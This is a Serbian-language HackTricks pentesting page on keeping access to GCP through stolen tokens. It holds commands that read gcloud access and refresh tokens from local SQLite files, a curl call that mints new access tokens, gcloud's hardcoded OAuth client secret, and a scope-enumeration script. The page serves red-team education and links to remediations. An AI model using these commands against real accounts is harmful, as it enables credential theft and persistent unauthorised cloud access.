GCP - Persistencija tokena

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Tokeni autentifikovanih korisnika

Da biste dobili trenutni token korisnika, možete pokrenuti:

Preuzmi access token iz SQLite baze podataka ```bash sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';" ```

Pogledajte na ovoj stranici kako da direktno koristite ovaj token pomoću gcloud:

Cloud SSRF - HackTricks

Da biste dobili detalje za generisanje novog access tokena, pokrenite:

Get refresh token from SQLite database ```bash sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='';" ```

Takođe je moguće pronaći refresh tokens u $HOME/.config/gcloud/application_default_credentials.json i u $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Da biste dobili novi access token pomoću refresh token, client ID i client secret pokrenite:

Dobijte novi access token koristeći refresh token ```bash curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token ```

Važenje refresh tokena može se upravljati u Admin > Security > Google Cloud session control, a po defaultu je postavljeno na 16h, i može se podesiti da nikada ne ističe:

Tok autentifikacije

Tok autentifikacije pri korišćenju nečeg poput gcloud auth login otvara prompt u pregledaču, i nakon prihvatanja svih scopes pregledač će poslati zahtev poput ovog na http port koji otvori alat:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Zatim, gcloud će iskoristiti state i code sa nekim hardkodiranim client_id (32555940559.apps.googleusercontent.com) i client_secret (ZmssLNjJy2998hD4CTg2ejr2) da dobije final refresh token data.

Caution

Imajte na umu da je komunikacija sa localhost preko HTTP-a, tako da je moguće presresti podatke i dobiti refresh token; međutim, ti podaci važe samo jednom, pa bi to bilo beskorisno — lakše je pročitati refresh token iz fajla.

OAuth dozvole

Sve Google dozvole možete pronaći na https://developers.google.com/identity/protocols/oauth2/scopes ili ih dobiti izvršavanjem:

Dobijte sve Google OAuth dozvole ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u ```

Moguće je videti koje scope-ove aplikacija koju gcloud koristi za autentifikaciju može podržati pomoću ovog skripta:

Proveri podržane scope-ove za gcloud ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then echo "" echo $scope fi done ```

Nakon izvršenja, provereno je da ova aplikacija podržava sledeće scopes:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

Zanimljivo je videti kako ova aplikacija podržava drive scope, što bi moglo omogućiti eskalaciju sa GCP na Workspace ako napadač uspe da natera korisnika da generiše token sa ovim scope-om.

Pogledaj kako da abuse this here.

Service Accounts

Poput autentifikovanih korisnika, ako uspeš da kompromituješ datoteku privatnog ključa servisnog naloga bićeš u mogućnosti da mu pristupaš obično onoliko dugo koliko želiš.
Međutim, ako ukradeš OAuth token servisnog naloga, to može biti još interesantnije, zato što, iako su po defaultu ovi tokeni korisni samo oko sat vremena, ako žrtva obriše privatni api ključ, OAuth token će i dalje biti važeći dok ne istekne.

Metadata

Očigledno, sve dok si unutar mašine koja radi u GCP okruženju moći ćeš da pristupiš servisnom nalogu prikačenom za tu mašinu kontaktirajući metadata endpoint (imaj na umu da su OAuth tokens koje možeš dobiti preko ovog endpointa obično ograničeni scope-ovima).

Remediations

Neka rešenja za ove tehnike su objašnjena u https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks